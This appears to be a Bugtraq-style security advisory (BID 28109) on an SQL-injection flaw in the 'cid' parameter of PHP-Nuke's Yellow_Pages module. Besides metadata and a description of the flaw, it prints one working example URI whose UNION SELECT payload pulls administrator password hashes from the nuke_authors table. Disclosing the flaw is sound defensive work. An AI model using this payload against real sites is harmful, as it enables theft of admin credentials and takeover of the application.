PHP-Nuke Yellow_Pages Module 'cid' Parameter SQL Injection Vulnerability

Bugtraq ID:	28109
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Mar 05 2008 12:00AM
Updated:	Mar 06 2008 04:11PM
Credit:	ZoRLu is credited with the discovery of this vulnerability.
Vulnerable:	Paglasoft Yellow_pages Component 1
Not Vulnerable:

PHP-Nuke Yellow_Pages Module 'cid' Parameter SQL Injection Vulnerability

The Yellow_Pages module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects the Yellow_Pages 1; other versions may also be vulnerable.

PHP-Nuke Yellow_Pages Module 'cid' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/modules.php?name=Yellow_Pages&file=viewdir&cid=-1/**/union/**/select/**/pwd,2/**/from/**/nuke_authors/*where%20admin%20-2

PHP-Nuke Yellow_Pages Module 'cid' Parameter SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

PHP-Nuke Yellow_Pages Module 'cid' Parameter SQL Injection Vulnerability

References:

• PHP-Nuke Homepage (PHP-Nuke)
  
• PHPNUKE- Yellow Pages Module Homepage (Paglasoft)